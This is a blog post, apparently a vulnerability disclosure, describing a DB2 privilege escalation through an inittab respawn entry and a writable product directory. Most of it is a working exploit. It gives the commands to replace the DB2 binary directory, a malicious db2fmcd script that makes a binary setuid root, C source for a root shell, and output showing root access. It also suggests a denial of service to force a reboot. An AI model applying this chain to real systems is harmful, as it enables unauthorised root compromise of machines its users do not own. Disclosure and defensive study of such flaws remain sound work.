DB2 Privilege Escalation – Abusing inittab Misconfigurations

I recently came across a DB2 privilege escalation, so I thought I would share it.

That said, I’m not certain if this is a default configuration, or was specific to this machine. With that in mind, this is closer to a full disclosure unless someone has any more information.

Vulnerability

On any machine running DB2 that includes the DB2 Fault Monitor Coordinator, it is likely that a privilege escalation exploit exists.

First, to verify that escalation is possible, look for the following line in /etc/inittab.

fmc:2345:respawn:/db2target/db2/product/V10.5/bin/db2fmcd #DB2 Fault Monitor Coordinator

If this line (or something similar) exists, then verify that your current user has write permissions to the db2/product directory.

[[email protected] ~]$ ls -al /db2target/db2/product
total 16
drwxr-xr-x  4 db2adm  db2adm 4096 Nov 18 03:24 .
drwxr-xr-x  7 db2clp1 db2adm 4096 Nov 18 03:31 ..
drwxr-xr-x  2 db2adm  db2adm 4096 Nov 18 03:13 10.5
drwxrwxr-x 39 root    root   4096 Nov 18 03:26 V10.5

Exploit

If your user has write permissions to the product directory, then you are able to create an entirely new “fake” directory structure that you control.

[[email protected] ~]$ mv /db2target/db2/product/V10.5 /db2target/db2/product/V10.5_bak
[[email protected] ~]$ ls -al /db2target/db2/product
ls -al /db2target/db2/product
total 16
drwxr-xr-x  4 db2adm  db2adm 4096 Apr 25 14:49 .
drwxr-xr-x  7 db2clp1 db2adm 4096 Nov 18 03:31 ..
drwxr-xr-x  2 db2adm  db2adm 4096 Nov 18 03:13 10.5
drwxrwxr-x 39 root    root   4096 Nov 18 03:26 V10.5_bak
[[email protected] ~]$ mkdir /db2target/db2/product/V10.5
[[email protected] ~]$ mkdir /db2target/db2/product/V10.5/bin

With the new directory structure in place, it is time to create a malicious db2fmcd that the system will run at boot time.

[[email protected] tmp]$ cat /db2target/db2/product/V10.5/bin/db2fmcd
chown root:root /tmp/setuid
chmod 4755 /tmp/setuid

In this case, I went with a payload that would setuid root the following binary that I controlled in /tmp.

[[email protected] tmp]$ cat /tmp/setuid.c
int main()
{
     setgid(0);
     setuid(0);
     system("/bin/bash");
}

Before any system changes, the binary has the following permissions.

[[email protected] tmp]$ ls -al /tmp/setuid
-rwxrwxr-x 1 db2adm db2adm 6978 Apr 25 14:51 /tmp/setuid

Afterwards, you just need to wait for the system to be rebooted, or an `init q` to be run. In external threat scenarios, the possibility of a DoS attack makes this vector even easier to control.
Once that occurs, escalation to root is possible!

<...reboot or init q...>
 
[[email protected] tmp]$ ls -al /tmp/setuid
-rwsr-xr-x 1 root root 6978 Apr 25 14:51 /tmp/setuid
[[email protected] tmp]$ ./setuid
[[email protected] tmp]# id
id
uid=0(root) gid=0(root) groups=1145(sdb2adm),1266(db2adm)

Conclusion

While this specific vulnerability was a DB2 privilege escalation, you should always be sure to check inittab when trying to escalate privileges. You never know what scripts or directories that you might have excessive permissions to.

Leave a Comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.